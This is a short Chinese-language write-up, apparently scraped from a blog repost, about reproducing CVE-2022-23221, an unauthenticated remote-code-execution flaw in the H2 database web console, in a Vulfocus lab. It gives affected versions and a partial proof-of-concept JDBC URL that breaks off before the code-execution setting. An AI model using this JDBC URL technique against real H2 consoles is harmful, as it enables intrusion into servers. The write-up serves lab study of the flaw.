1、产品简介
H2是Thomas Mueller提供的一个开源的、纯java实现的关系数据库。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。
2、漏洞概述
H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。
3、影响范围
1.1.100 <=H2 Console <=2.0.204
4、复现环境
Vulfocus在线靶场环境
5、 漏洞复现
开启靶场环境,访问8082端口,可以看到H2db的控制台
利用点主要是JDBC URL
未授权POC如下:文章来源:https://www.toymoban.com/news/detail-623161.html
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
观察已公开的POC,在原文章来源地址https://www.toymoban.com/news/detail-623161.html
到了这里,关于H2db console 未授权访问RCE 漏洞复现+利用(CVE-2022-23221)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!